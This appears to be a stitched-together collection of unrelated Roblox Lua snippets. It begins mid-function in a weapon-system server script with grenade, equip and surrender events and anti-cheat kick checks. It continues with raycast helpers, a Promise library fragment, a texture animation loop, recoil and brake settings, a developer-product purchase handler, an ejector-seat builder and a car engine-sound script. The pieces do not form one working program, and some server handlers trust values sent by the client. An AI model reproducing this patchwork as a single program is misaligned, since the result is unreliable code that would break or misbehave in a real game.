TS:Create(LH, TweenInfo.new(.3), {C1 = CFrame.new(-.5,0,0.4)* CFrame.Angles(math.rad(20),math.rad(-90),math.rad(0))} ):Play() end end if ACS_Client:GetAttribute("Surrender") then TS:Create(RS, TweenInfo.new(.3), {C1 = CFrame.new(-.5,0.95,0)* CFrame.Angles(math.rad(-175),math.rad(90),math.rad(0))} ):Play() TS:Create(LS, TweenInfo.new(.3), {C1 = CFrame.new(.5,0.95,0)* CFrame.Angles(math.rad(-175),math.rad(-90),math.rad(0))} ):Play() elseif Stance == 2 then TS:Create(RS, TweenInfo.new(.3), {C1 = CFrame.new(-.5,0.95,0)* CFrame.Angles(math.rad(-175),math.rad(90),math.rad(0))} ):Play() TS:Create(LS, TweenInfo.new(.3), {C1 = CFrame.new(.5,0.95,0)* CFrame.Angles(math.rad(-175),math.rad(-90),math.rad(0))} ):Play() else --p1.CFrame:inverse() * p2.CFrame TS:Create(RS, TweenInfo.new(.3), {C1 = CFrame.new(-.5,0.5,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play() TS:Create(LS, TweenInfo.new(.3), {C1 = CFrame.new(.5,0.5,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play() end end) Evt.Surrender.OnServerEvent:Connect(function(Player,Victim) if not Player or not Player.Character then return; end; local PClient = nil if Victim then if Victim == Player or not Victim.Character then return; end; PClient = Victim.Character:FindFirstChild("ACS_Client") if not PClient then return; end; if PClient:GetAttribute("Surrender") then PClient:SetAttribute("Surrender",false) end end PClient = Player.Character:FindFirstChild("ACS_Client") if not PClient then return; end; if not PClient:GetAttribute("Surrender") then PClient:SetAttribute("Surrender",true) end end) Evt.Grenade.OnServerEvent:Connect(function(SKP_0, SKP_1, SKP_2, SKP_3, SKP_4, SKP_5, SKP_6) if not SKP_0 or not SKP_0.Character then return; end; if not SKP_0.Character:FindFirstChild("Humanoid") or SKP_0.Character.Humanoid.Health <= 0 then return; end; if SKP_6 ~= (ACS_0.."-"..SKP_0.UserId) then SKP_0:kick("Exploit Protocol") warn(SKP_0.Name.." - Potential Exploiter! Case 0-B: Wrong Permission Code") table.insert(_G.TempBannedPlayers, SKP_0) return; end if not SKP_1 or not SKP_2 then SKP_0:kick("Exploit Protocol") warn(SKP_0.Name.." - Potential Exploiter! Case 3: Tried To Access Grenade Event") return; end local skp_0 = secureSettings(SKP_0, SKP_1, SKP_2) if not skp_0 or SKP_2.Type ~= "Grenade" then return; end; if not SVGunModels:FindFirstChild(SKP_2.gunName) then warn("ACS_Server Couldn't Find "..SKP_2.gunName.." In Grenade Model Folder"); return; end; local skp_0 = SVGunModels[SKP_2.gunName]:Clone() for SKP_Arg0, SKP_Arg1 in pairs(SKP_0.Character:GetChildren()) do if not SKP_Arg1:IsA('BasePart') then continue; end; local skp_1 = Instance.new("NoCollisionConstraint") skp_1.Parent= skp_0 skp_1.Part0 = skp_0.PrimaryPart skp_1.Part1 = SKP_Arg1 end local skp_1 = Instance.new("ObjectValue") skp_1.Name = "creator" skp_1.Value = SKP_0 skp_1.Parent= skp_0.PrimaryPart skp_0.Parent = ACS_Workspace.Server skp_0.PrimaryPart.CFrame = SKP_3 skp_0.PrimaryPart:ApplyImpulse(SKP_4 * SKP_5 * skp_0.PrimaryPart:GetMass()) skp_0.PrimaryPart:SetNetworkOwner(nil) skp_0.PrimaryPart.Damage.Disabled = false SKP_1:Destroy() end) function loadAttachment(weapon,WeaponData) if not weapon or not WeaponData or not weapon:FindFirstChild("Nodes") then return; end; --load sight Att if weapon.Nodes:FindFirstChild("Sight") and WeaponData.SightAtt ~= "" then local SightAtt = AttModels[WeaponData.SightAtt]:Clone() SightAtt.Parent = weapon SightAtt:SetPrimaryPartCFrame(weapon.Nodes.Sight.CFrame) for index, key in pairs(weapon:GetChildren()) do if not key:IsA('BasePart') or key.Name ~= "IS" then continue; end; key.Transparency = 1 end for index, key in pairs(SightAtt:GetChildren()) do if key.Name == "SightMark" or key.Name == "Main" then key:Destroy(); continue; end; if not key:IsA('BasePart') then continue; end; Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end --load Barrel Att if weapon.Nodes:FindFirstChild("Barrel") and WeaponData.BarrelAtt ~= "" then local BarrelAtt = AttModels[WeaponData.BarrelAtt]:Clone() BarrelAtt.Parent = weapon BarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.Barrel.CFrame) if BarrelAtt:FindFirstChild("BarrelPos") then weapon.Handle.Muzzle.WorldCFrame = BarrelAtt.BarrelPos.CFrame end for index, key in pairs(BarrelAtt:GetChildren()) do if not key:IsA('BasePart') then continue; end; Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end --load Under Barrel Att if weapon.Nodes:FindFirstChild("UnderBarrel") and WeaponData.UnderBarrelAtt ~= "" then local UnderBarrelAtt = AttModels[WeaponData.UnderBarrelAtt]:Clone() UnderBarrelAtt.Parent = weapon UnderBarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.UnderBarrel.CFrame) for index, key in pairs(UnderBarrelAtt:GetChildren()) do if not key:IsA('BasePart') then continue; end; Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end if weapon.Nodes:FindFirstChild("Other") and WeaponData.OtherAtt ~= "" then local OtherAtt = AttModels[WeaponData.OtherAtt]:Clone() OtherAtt.Parent = weapon OtherAtt:SetPrimaryPartCFrame(weapon.Nodes.Other.CFrame) for index, key in pairs(OtherAtt:GetChildren()) do if not key:IsA('BasePart') then continue; end; Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end end Evt.Equip.OnServerEvent:Connect(function(Player,Arma,Mode,Settings,Anim) if not Player or not Player.Character then return; end; local Head = Player.Character:FindFirstChild('Head') local Torso = Player.Character:FindFirstChild('Torso') local LeftArm = Player.Character:FindFirstChild('Left Arm') local RightArm = Player.Character:FindFirstChild('Right Arm') if not Head or not Torso or not LeftArm or not RightArm then return; end; local RS = Torso:FindFirstChild("Right Shoulder") local LS = Torso:FindFirstChild("Left Shoulder") if not RS or not LS then return; end; --// EQUIP if Mode == 1 then local GunModel = GunModels:FindFirstChild(Arma.Name) if not GunModel then warn(Player.Name..": Couldn't load Server-side weapon model") return; end; local ServerGun = GunModel:Clone() ServerGun.Name = 'S' .. Arma.Name local AnimBase = Instance.new("Part", Player.Character) AnimBase.FormFactor = "Custom" AnimBase.CanCollide = false AnimBase.Transparency = 1 AnimBase.Anchored = false AnimBase.Name = "AnimBase" AnimBase.Size = Vector3.new(0.1, 0.1, 0.1) local AnimBaseW = Instance.new("Motor6D") AnimBaseW.Part0 = Head AnimBaseW.Part1 = AnimBase AnimBaseW.Parent = AnimBase AnimBaseW.Name = "AnimBaseW" --AnimBaseW.C0 = CFrame.new(0,-1.25,0) local ruaw = Instance.new("Motor6D") ruaw.Name = "RAW" ruaw.Part0 = RightArm ruaw.Part1 = AnimBase ruaw.Parent = AnimBase ruaw.C0 = Anim.SV_RightArmPos RS.Enabled = false local luaw = Instance.new("Motor6D") luaw.Name = "LAW" luaw.Part0 = LeftArm luaw.Part1 = AnimBase luaw.Parent = AnimBase luaw.C0 = Anim.SV_LeftArmPos LS.Enabled = false ServerGun.Parent = Player.Character loadAttachment(ServerGun,Settings) if ServerGun:FindFirstChild("Nodes") ~= nil then ServerGun.Nodes:Destroy() end for SKP_001, SKP_002 in pairs(ServerGun:GetDescendants()) do if SKP_002.Name ~= "SightMark" then continue; end; SKP_002:Destroy() end for SKP_001, SKP_002 in pairs(ServerGun:GetDescendants()) do if not SKP_002:IsA('BasePart') or SKP_002.Name == 'Handle' then continue; end; Ultil.WeldComplex(ServerGun:WaitForChild("Handle"), SKP_002, SKP_002.Name) end local SKP_004 = Instance.new('Motor6D') SKP_004.Name = 'Handle' SKP_004.Parent = ServerGun.Handle SKP_004.Part0 = RightArm SKP_004.Part1 = ServerGun.Handle SKP_004.C1 = Anim.SV_GunPos:inverse() for L_74_forvar1, L_75_forvar2 in pairs(ServerGun:GetDescendants()) do if not L_75_forvar2:IsA('BasePart') then continue; end; L_75_forvar2.Anchored = false L_75_forvar2.CanCollide = false end return; end; --// UNEQUIP if Mode == 2 then if Arma and Player.Character:FindFirstChild('S' .. Arma.Name) then Player.Character['S' .. Arma.Name]:Destroy() Player.Character.AnimBase:Destroy() end RS.Enabled = true LS.Enabled = true end return; end) Evt.Squad.OnServerEvent:Connect(function(Player,SquadName,SquadColor) if not Player or not Player.Character then return; end; if not Player.Character:FindFirstChild("ACS_Client") then return; end; Player.Character.ACS_Client.FireTeam.SquadName.Value = SquadName Player.Character.ACS_Client.FireTeam.SquadColor.Value = SquadColor end) Evt.HeadRot.OnServerEvent:connect(function(Player, CF) Evt.HeadRot:FireAllClients(Player, CF) end) Evt.Atirar.OnServerEvent:Connect(function(Player, Arma, Suppressor, FlashHider) Evt.Atirar:FireAllClients(Player, Arma, Suppressor, FlashHider) end) Evt.Whizz.OnServerEvent:Connect(function(Player, Victim) Evt.Whizz:FireClient(Victim) end) Evt.Suppression.OnServerEvent:Connect(function(Player,Victim,Mode,Intensity,Time) Evt.Suppression:FireClient(Victim,Mode,Intensity,Time) end) Evt.Refil.OnServerEvent:Connect(function(Player, Stored, NewStored) Stored.Value = Stored.Value - NewStored end) Evt.SVLaser.OnServerEvent:Connect(function(Player,Position,Modo,Cor,IRmode,Arma) Evt.SVLaser:FireAllClients(Player,Position,Modo,Cor,IRmode,Arma) end) Evt.SVFlash.OnServerEvent:Connect(function(Player,Arma,Mode) Evt.SVFlash:FireAllClients(Player,Arma,Mode) end)
-- This function casts a ray with a whitelist.
local function CastWithWhitelist(origin, direction, whitelist, ignoreWater) if not whitelist or typeof(whitelist) ~= "table" then -- This array is faulty. error("Call in CastWhitelist failed! Whitelist table is either nil, or is not actually a table.", 0) end local castRay = Ray.new(origin, direction) -- Now here's something bizarre: FindPartOnRay and FindPartOnRayWithIgnoreList have a "terrainCellsAreCubes" boolean before ignoreWater. FindPartOnRayWithWhitelist, on the other hand, does not! return Workspace:FindPartOnRayWithWhitelist(castRay, whitelist, ignoreWater) end
-- functions bruv
function RaycastRender() for x=1,renderResolution do for y=1,renderResolution do local currentScreenPos = Vector2.new(x*(viewportSize.X/renderResolution), y*(viewportSize.Y/renderResolution)) local screenRay = cam:ScreenPointToRay(currentScreenPos.X, currentScreenPos.Y) local RayCast = workspace:Raycast(screenRay.Origin, screenRay.Direction*1000) if RayCast then local Part = Instance.new("Part", workspace) Part.Anchored = true Part.Size = Vector3.new(1,1,1) Part.Position = RayCast.Position game.Debris:AddItem(Part, .095) end end end end function isPositionOnScreen(position) if (position - cam.CFrame.Position).Magnitude > 3000 then -- Check if on screen: local vector, inViewport = cam:WorldToViewportPoint(position) local onScreen = inViewport and vector.Z > 0 -- Raycast outward: local ray = cam:ViewportPointToRay(vector.X, vector.Y, 0) local raycastParams = RaycastParams.new() raycastParams.FilterType = Enum.RaycastFilterType.Blacklist --raycastParams.FilterDescendantsInstances = {game.Players.LocalPlayer.Character} local raycastResult = workspace:Raycast(ray.Origin, ray.Direction * 1000, raycastParams) -- Final check: local isVisible = onScreen and not raycastResult return isVisible else return true end end
--[[ Is the given object a Promise instance? ]]
function Promise.is(object) if type(object) ~= "table" then return false end return object[PromiseMarker] == true end
-- 🤨
local IDs = { "rbxassetid://8574619105", -- 00 "rbxassetid://8582705437", -- 01 "rbxassetid://8582853792", -- 02 "rbxassetid://8582862325", -- 03 "rbxassetid://8582872626", -- 04 "rbxassetid://8582889931", -- 05 "rbxassetid://8582895559", -- 06 "rbxassetid://8582902014", -- 07 "rbxassetid://8582905652", -- 08 "rbxassetid://8582908281", -- 09 "rbxassetid://8582914909", -- 10 "rbxassetid://8582917602", -- 11 "rbxassetid://8582920389", -- 12 "rbxassetid://8582922411", -- 13 "rbxassetid://8582923430", -- 14 "rbxassetid://8582924089", -- 15 "rbxassetid://8582925377", -- 16 "rbxassetid://8582926419", -- 17 "rbxassetid://8582927354", -- 18 "rbxassetid://8582928485", -- 19 "rbxassetid://8582962385", -- 20 "rbxassetid://8582966006", -- 21 "rbxassetid://8582970043", -- 22 "rbxassetid://8582971526", -- 23 "rbxassetid://8582976022", -- 24 "rbxassetid://8582978553", -- 25 "rbxassetid://8582981543", -- 26 "rbxassetid://8582983664", -- 27 "rbxassetid://8582985386", -- 28 "rbxassetid://8582987054", -- 29 "rbxassetid://8582989695", -- 30 "rbxassetid://8582990702", -- 31 "rbxassetid://8582995438", -- 32 "rbxassetid://8582996385", -- 33 "rbxassetid://8583002659", -- 34 "rbxassetid://8583011681", -- 35 "rbxassetid://8583025661", -- 36 "rbxassetid://8583028764", -- 37 "rbxassetid://8583038094", -- 38 "rbxassetid://8583041516", -- 39 "rbxassetid://8583042812", -- 40 "rbxassetid://8583043737"} -- 41 while true do for i,v in ipairs(IDs) do script.Parent.Texture = v task.wait(0.09) end end
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {14,18} --- Vertical Recoil ,HRecoil = {8,12} --- Horizontal Recoil ,AimRecover = 1 ---- Between 0 & 1 ,RecoilPunch = .25 ,VPunchBase = 3 --- Vertical Punch ,HPunchBase = 4 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 1 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = 1 ,MaxRecoilPower = 2.5 ,RecoilPowerStepAmount = .25 ,MinSpread = 10 --- Min bullet spread value | Studs ,MaxSpread = 40 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 2.5 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 1 --- Max sway value based on player stamina | Studs
--[=[ Initializes a new promise with the given function in a deferred wrapper. @param func (resolve: (...) -> (), reject: (...) -> ()) -> ()? @return Promise<T> ]=]
function Promise.spawn(func) local self = Promise.new() task.spawn(func, self:_getResolveReject()) return self end
--- Get (or create) BindableFunction
function GetFunc(funcName) --- Variables funcName = string.lower(funcName) local func = funcs[funcName] --- Check if function already exists if not func then func = Instance.new("BindableFunction") func.Name = funcName funcs[funcName] = func end return func end
--[[Brakes]]
-- Tune.FBrakeForce = 350 -- Front brake force Tune.RBrakeForce = 200 -- Rear brake force Tune.PBrakeForce = 350 -- Parking brake force Tune.LinkedBrakes = true -- Links brakes up, uses both brakes while braking Tune.BrakesRatio = 60 -- The ratio of the brakes (0 = rear brake; 100 = front brake)
--[[ Gamepad Character Control - This module handles controlling your avatar using a game console-style controller 2018 PlayerScripts Update - AllYourBlox --]]
local UserInputService = game:GetService("UserInputService") local ContextActionService = game:GetService("ContextActionService")
-- Table setup containing product IDs and functions for handling purchases
local productFunctions = { [1233952204] = function(receipt, player) local stats = player:FindFirstChild("DonationValue") local donation = stats if donation then donation.Value = donation.Value + 5 return true end end; [1233952208] = function(receipt, player) local stats = player:FindFirstChild("DonationValue") local donation = stats if donation then donation.Value = donation.Value + 10 return true end end; [1233952212] = function(receipt, player) local stats = player:FindFirstChild("DonationValue") local donation = stats if donation then donation.Value = donation.Value + 50 return true end end; [1233955620] = function(receipt, player) local stats = player:FindFirstChild("DonationValue") local donation = stats if donation then donation.Value = donation.Value + 100 return true end end; [1233955602] = function(receipt, player) local stats = player:FindFirstChild("DonationValue") local donation = stats if donation then donation.Value = donation.Value + 500 return true end end; [1233955632] = function(receipt, player) local stats = player:FindFirstChild("DonationValue") local donation = stats if donation then donation.Value = donation.Value + 1000 return true end end; [1233955638] = function(receipt, player) local stats = player:FindFirstChild("DonationValue") local donation = stats if donation then donation.Value = donation.Value + 5000 return true end end; [1233955645] = function(receipt, player) local stats = player:FindFirstChild("DonationValue") local donation = stats if donation then donation.Value = donation.Value + 10000 return true end end; [1233955664] = function(receipt, player) local stats = player:FindFirstChild("DonationValue") local donation = stats if donation then donation.Value = donation.Value + 50000 return true end end; [1233955679] = function(receipt, player) local stats = player:FindFirstChild("DonationValue") local donation = stats if donation then donation.Value = donation.Value + 100000 return true end end; [1233955695] = function(receipt, player) local stats = player:FindFirstChild("DonationValue") local donation = stats if donation then donation.Value = donation.Value + 500000 return true end end; } MarketplaceService.ProcessReceipt = function(receiptInfo) local playerProductKey = receiptInfo.PlayerId .. "_" .. receiptInfo.PurchaseId local purchased = false local success, errorMessage = pcall(function() purchased = purchaseHistoryStore:GetAsync(playerProductKey) end) if success and purchased then return Enum.ProductPurchaseDecision.PurchaseGranted elseif not success then error("Data store error:" .. errorMessage) end local player = Players:GetPlayerByUserId(receiptInfo.PlayerId) if not player then return Enum.ProductPurchaseDecision.NotProcessedYet end local handler = productFunctions[receiptInfo.ProductId] local success, result = pcall(handler, receiptInfo, player) if not success or not result then warn("Error occurred while processing a product purchase") print("\nProductId:", receiptInfo.ProductId) print("\nPlayer:", player) return Enum.ProductPurchaseDecision.NotProcessedYet end local success, errorMessage = pcall(function() purchaseHistoryStore:SetAsync(playerProductKey, true) end) if not success then error("Cannot save purchase data: " .. errorMessage) end return Enum.ProductPurchaseDecision.PurchaseGranted end
-------------------------------------------------
if Torso and Humanoid then Humanoid.Sit,Humanoid.Jump = true,false Connection = Humanoid.Changed:connect(function() Humanoid.Sit,Humanoid.Jump = true,false end) local Model = Instance.new("Model") Model.Parent = Character Model.Name = "EjectorSeat" ------------------------------------------------------------------------------------------- local Seat = Instance.new("Part") Seat.Parent = Model Seat.Name = "Seat" Seat.CanCollide = false Seat.FormFactor = "Custom" Seat.Size = Vector3.new(2.5,1,2) Seat.BottomSurface = "Smooth" Seat.TopSurface = "Smooth" local Weld1 = Instance.new("Weld") Weld1.Parent = Seat Weld1.Part0 = Seat Weld1.Part1 = Torso Weld1.C0 = CFrame.new(0,2,0) ------------------------------------------------------------------------------------------- local Part1 = Instance.new("Part") Part1.Parent = Model Part1.CanCollide = false Part1.FormFactor = "Symmetric" Part1.Size = Vector3.new(3,1,1) Part1.BottomSurface = "Smooth" Part1.TopSurface = "Smooth" local Weld2 = Instance.new("Weld") Weld2.Parent = Part1 Weld2.Part0 = Part1 Weld2.Part1 = Seat Weld2.C0 = CFrame.new(0,0,-1.5) ------------------------------------------------------------------------------------------- local Part2 = Instance.new("Part") Part2.Parent = Model Part2.CanCollide = false Part2.FormFactor = "Symmetric" Part2.Size = Vector3.new(2,3,1) Part2.BottomSurface = "Smooth" Part2.TopSurface = "Smooth" local Weld3 = Instance.new("Weld") Weld3.Parent = Part2 Weld3.Part0 = Part2 Weld3.Part1 = Part1 Weld3.C0 = CFrame.new(0,-2,0) ------------------------------------------------------------------------------------------- local Wedge1 = Instance.new("WedgePart") Wedge1.Parent = Model Wedge1.CanCollide = false Wedge1.FormFactor = "Custom" Wedge1.Size = Vector3.new(1,3,0.5) Wedge1.BottomSurface = "Smooth" Wedge1.TopSurface = "Smooth" local Weld4 = Instance.new("Weld") Weld4.Parent = Wedge1 Weld4.Part0 = Wedge1 Weld4.Part1 = Part2 Weld4.C0 = CFrame.new(0,0,1.25) * CFrame.Angles(0,math.rad(90),0) ------------------------------------------------------------------------------------------- local Wedge2 = Instance.new("WedgePart") Wedge2.Parent = Model Wedge2.CanCollide = false Wedge2.FormFactor = "Custom" Wedge2.Size = Vector3.new(1,3,0.5) Wedge2.BottomSurface = "Smooth" Wedge2.TopSurface = "Smooth" local Weld5 = Instance.new("Weld") Weld5.Parent = Wedge2 Weld5.Part0 = Wedge2 Weld5.Part1 = Part2 Weld5.C0 = CFrame.new(0,0,1.25) * CFrame.Angles(0,math.rad(-90),0) ------------------------------------------------------------------------------------------- local Wedge3 = Instance.new("WedgePart") Wedge3.Parent = Model Wedge3.CanCollide = false Wedge3.FormFactor = "Custom" Wedge3.Size = Vector3.new(1,2,0.25) Wedge3.BottomSurface = "Smooth" Wedge3.TopSurface = "Smooth" local Weld6 = Instance.new("Weld") Weld6.Parent = Wedge3 Weld6.Part0 = Wedge3 Weld6.Part1 = Seat Weld6.C0 = CFrame.new(0,0,1.375) * CFrame.Angles(math.rad(90),0,math.rad(90)) ------------------------------------------------------------------------------------------- local Wedge4 = Instance.new("WedgePart") Wedge4.Parent = Model Wedge4.CanCollide = false Wedge4.FormFactor = "Custom" Wedge4.Size = Vector3.new(1,2,0.25) Wedge4.BottomSurface = "Smooth" Wedge4.TopSurface = "Smooth" local Weld7 = Instance.new("Weld") Weld7.Parent = Wedge4 Weld7.Part0 = Wedge4 Weld7.Part1 = Seat Weld7.C0 = CFrame.new(0,0,1.375) * CFrame.Angles(math.rad(90),0,math.rad(-90)) ------------------------------------------------------------------------------------------- local Part3 = Instance.new("Part") Part3.Parent = Model Part3.Name = "Main" Part3.CanCollide = false Part3.FormFactor = "Symmetric" Part3.Size = Vector3.new(1,4,1) Part3.BottomSurface = "Smooth" Part3.TopSurface = "Smooth" local Mesh1 = Instance.new("CylinderMesh") Mesh1.Parent = Part3 local BV = Instance.new("BodyVelocity") BV.Parent = Part3 BV.maxForce = Vector3.new(17e3,math.huge,17e3) BV.velocity = Vector3.new(0,700.15,0) local BG = Instance.new("BodyGyro") BG.Parent = Part3 BG.maxTorque = Vector3.new(math.huge,0,math.huge) BG.cframe = CFrame.Angles(0,0,0) local Weld8 = Instance.new("Weld") Weld8.Parent = Part3 Weld8.Part0 = Part3 Weld8.Part1 = Part2 Weld8.C0 = CFrame.new(0,0.5,-0.5) ------------------------------------------------------------------------------------------- local Visual = Instance.new("Part") Visual.Parent = Model Visual.Transparency = 1 Visual.Name = "Visual" Visual.CanCollide = false Visual.FormFactor = "Symmetric" Visual.Size = Vector3.new(1,1,1) Visual.BottomSurface = "Smooth" Visual.TopSurface = "Smooth" local Weld9 = Instance.new("Weld") Weld9.Parent = Visual Weld9.Part0 = Visual Weld9.Part1 = Part3 Weld9.C0 = CFrame.new(0,-2.5,0) * CFrame.Angles(0,0,math.rad(180)) local Fire = Instance.new("Fire") Fire.Parent = Visual Fire.Heat = 25 Fire.Size = 10 ------------------------------------------------------------------------------------------- local Wire1 = Instance.new("Part") Wire1.Parent = Model Wire1.BrickColor = BrickColor.new("White") Wire1.Transparency = 1 Wire1.Name = "Wire" Wire1.CanCollide = false Wire1.FormFactor = "Symmetric" Wire1.Size = Vector3.new(1,13,1) Wire1.BottomSurface = "Smooth" Wire1.TopSurface = "Smooth" local Mesh2 = Instance.new("CylinderMesh") Mesh2.Parent = Wire1 Mesh2.Scale = Vector3.new(0.2,1,0.2) local Weld10 = Instance.new("Weld") Weld10.Parent = Wire1 Weld10.Part0 = Wire1 Weld10.Part1 = Part3 Weld10.C0 = CFrame.new(-0.5,-8.3,0.5) Weld10.C1 = CFrame.Angles(math.rad(20),0,math.rad(20)) ------------------------------------------------------------------------------------------- local Wire2 = Instance.new("Part") Wire2.Parent = Model Wire2.BrickColor = BrickColor.new("White") Wire2.Transparency = 1 Wire2.Name = "Wire" Wire2.CanCollide = false Wire2.FormFactor = "Symmetric" Wire2.Size = Vector3.new(1,13,1) Wire2.BottomSurface = "Smooth" Wire2.TopSurface = "Smooth" local Mesh3 = Instance.new("CylinderMesh") Mesh3.Parent = Wire2 Mesh3.Scale = Vector3.new(0.2,1,0.2) local Weld11 = Instance.new("Weld") Weld11.Parent = Wire2 Weld11.Part0 = Wire2 Weld11.Part1 = Part3 Weld11.C0 = CFrame.new(0.5,-8.3,0.5) Weld11.C1 = CFrame.Angles(math.rad(20),0,math.rad(-20)) ------------------------------------------------------------------------------------------- local Wire3 = Instance.new("Part") Wire3.Parent = Model Wire3.BrickColor = BrickColor.new("White") Wire3.Transparency = 1 Wire3.Name = "Wire" Wire3.CanCollide = false Wire3.FormFactor = "Symmetric" Wire3.Size = Vector3.new(1,13,1) Wire3.BottomSurface = "Smooth" Wire3.TopSurface = "Smooth" local Mesh4 = Instance.new("CylinderMesh") Mesh4.Parent = Wire3 Mesh4.Scale = Vector3.new(0.2,1,0.2) local Weld12 = Instance.new("Weld") Weld12.Parent = Wire3 Weld12.Part0 = Wire3 Weld12.Part1 = Part3 Weld12.C0 = CFrame.new(-0.5,-8.3,-0.5) Weld12.C1 = CFrame.Angles(math.rad(-20),0,math.rad(20)) ------------------------------------------------------------------------------------------- local Wire4 = Instance.new("Part") Wire4.Parent = Model Wire4.BrickColor = BrickColor.new("White") Wire4.Transparency = 1 Wire4.Name = "Wire" Wire4.CanCollide = false Wire4.FormFactor = "Symmetric" Wire4.Size = Vector3.new(1,13,1) Wire4.BottomSurface = "Smooth" Wire4.TopSurface = "Smooth" local Mesh5 = Instance.new("CylinderMesh") Mesh5.Parent = Wire4 Mesh5.Scale = Vector3.new(0.2,1,0.2) local Weld13 = Instance.new("Weld") Weld13.Parent = Wire4 Weld13.Part0 = Wire4 Weld13.Part1 = Part3 Weld13.C0 = CFrame.new(0.5,-8.3,-0.5) Weld13.C1 = CFrame.Angles(math.rad(-20),0,math.rad(-20)) ------------------------------------------------------------------------------------------- local Parachute = Instance.new("Part") Parachute.Parent = Model Parachute.BrickColor = BrickColor.new("Bright orange") Parachute.Transparency = 1 Parachute.Name = "Parachute" Parachute.CanCollide = false Parachute.FormFactor = "Symmetric" Parachute.Size = Vector3.new(1,1,1) Parachute.BottomSurface = "Smooth" Parachute.TopSurface = "Smooth" local Mesh6 = Instance.new("SpecialMesh") Mesh6.Parent = Parachute Mesh6.MeshId = "http://www.roblox.com/asset/?id=1038653" Mesh6.MeshType = "FileMesh" Mesh6.Scale = Vector3.new(11,9,11) local Weld14 = Instance.new("Weld") Weld14.Parent = Parachute Weld14.Part0 = Parachute Weld14.Part1 = Part3 Weld14.C0 = CFrame.new(0,-15,0) ------------------------------------------------------------------------------------------- wait(2.5) BV.maxForce = Vector3.new(17e3,15e3,17e3) BV.velocity = Vector3.new(0,0.15,0) Fire.Enabled = false function RayCast() local SeatPos = Torso.CFrame.p local SeatDir = (Torso.CFrame.p - Vector3.new(0,1,0)).unit local Ray1 = Ray.new(SeatPos,SeatDir * -999) local TrueHitPart,TrueHitPos = nil,nil local HitPart,HitPos = game.Workspace:FindPartOnRayWithIgnoreList(Ray1,{Character,Camera}) for i = 1,10 do if (not HitPart) then local Ray2 = Ray.new(HitPos,SeatDir * -999) local HitPart2,HitPos2 = game.Workspace:FindPartOnRayWithIgnoreList(Ray2,{Character,Camera}) if i ~= 10 then if HitPart2 then TrueHitPart,TrueHitPos = HitPart2,HitPos2 break elseif (not HitPart2) then HitPart,HitPos = HitPart2,HitPos2 end elseif i == 10 then TrueHitPart,TrueHitPos = HitPart2,HitPos2 end elseif HitPart then TrueHitPart,TrueHitPos = HitPart,HitPos break end end return TrueHitPart,TrueHitPos end local _,HitPos = RayCast() Spawn(function() while true do _,HitPos = RayCast() wait(0.05) end end) Spawn(function() while true do if (Seat.Position.y - HitPos.y) <= 1000 then break end wait() end BV.maxForce = Vector3.new(17e3,35e3,17e3) BV.velocity = Vector3.new(0,-100.15,0) Wire1.Transparency,Wire2.Transparency,Wire3.Transparency,Wire4.Transparency = 0,0,0,0 Parachute.Transparency = 0 while true do if (Seat.Position.y - HitPos.y) <= 20 then break end wait() end Connection:disconnect() Humanoid.Jump = true Humanoid.Sit = false Model:Destroy() game:GetService("Debris"):AddItem(script,0.1) end) end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["A-Chassis Tune"]) local on = 0 local mult=0 local det=.13 local trm=.4 local trmmult=0 local trmon=0 local throt=0 local redline=0 local shift=0 script:WaitForChild("Rev") script.Parent.Values.Gear.Changed:connect(function() mult=1 if script.Parent.Values.RPM.Value>5000 then shift=.2 end end) for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true) handler:FireServer("playSound","Rev") car.DriveSeat:WaitForChild("Rev") while wait() do mult=math.max(0,mult-.1) local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then throt = math.max(.3,throt-.2) trmmult = math.max(0,trmmult-.05) trmon = 1 else throt = math.min(1,throt+.1) trmmult = 1 trmon = 0 end shift = math.min(1,shift+.2) if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then redline=.5 else redline=1 end if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end local Volume = (1*throt*shift*redline)+(trm*trmon*trmmult*(1-throt)*math.sin(tick()*50)) local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^1)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value) if FE then handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume) else car.DriveSeat.Rev.Volume = Volume car.DriveSeat.Rev.Pitch = Pitch end end
------- extreme math equations
local v = 30 local c = 70 local m = hit:GetMass() if m< 20 then m = 20 end hit.RotVelocity =Vector3.new(math.random(-v,v)/(m/c),math.random(-v,v)/(m/c),math.random(-v,v)/(m/c)) end end script.Parent.Touched:connect(hit)
----------------------This is just an example-----------------------------
